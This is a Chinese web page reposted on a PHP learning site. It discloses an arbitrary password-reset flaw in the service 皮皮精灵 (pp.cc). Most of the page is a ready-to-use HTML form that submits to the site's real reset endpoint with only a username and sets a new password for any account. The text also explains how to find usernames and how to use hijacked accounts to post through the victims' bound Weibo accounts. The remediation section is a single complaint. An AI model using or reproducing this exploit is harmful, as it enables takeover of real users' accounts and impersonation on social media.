皮皮精灵修改任意用户密码（从而控制用户发微-自学php网

皮皮精灵修改任意用户密码（从而控制用户发微

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] 皮皮精灵修改任意用户密码，如果用户在皮皮精灵绑定了微博，即可使用用户帐号发送微博皮皮精灵(http://www.pp.cc)问题发生在找回密码上这里不说过程了直接来个我写的formhtmlheadmeta h...

皮皮精灵修改任意用户密码，如果用户在皮皮精灵绑定了微博，即可使用用户帐号发送微博

皮皮精灵(http://www.pp.cc)

问题发生在找回密码上

这里不说过程了直接来个我写的form

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>找回密码</title>

</head>

<body>

<form action="http://weibo.pp.cc/member.php?mod=password&action=resetpwdSave&random=12312312" method="post">

<div class="retrieve_main">

    <div class="til">找回密码</div>

    <input type="hidden" name="username" value="只需要用户名即可"/>

    <input type="hidden" name="email" value=""/>

    <div class="content">

        <div id="reset_password">

            <p>设置新密码：<input type="password" class="text" name="password"/></p>

            <p>确认新密码：<input type="password" class="text" name="password2"/></p>

            <p><input type="submit" class="button" value="提 交" /></p>

        </div>

    </div>

</div>

</form>

</body>

</html>

利用这个表单即可重置任意用户密码

至于帐号可以到那些微图下面去找用户名

进一步利用

假如某个用户已经绑定了微博

随便找个内容转发一下

修复方案：

安全，人家可是把发微博权限给你们了的啊！

T9系统过滤机制不够严谨导致服务器沦陷 - 网站安

搜狐微博继续csrf蠕虫发微博 - 网站安全 - 自学

子栏目

皮皮精灵修改任意用户密码（从而控制用户发微

最新评论

添加评论

更多文章推荐

添加评论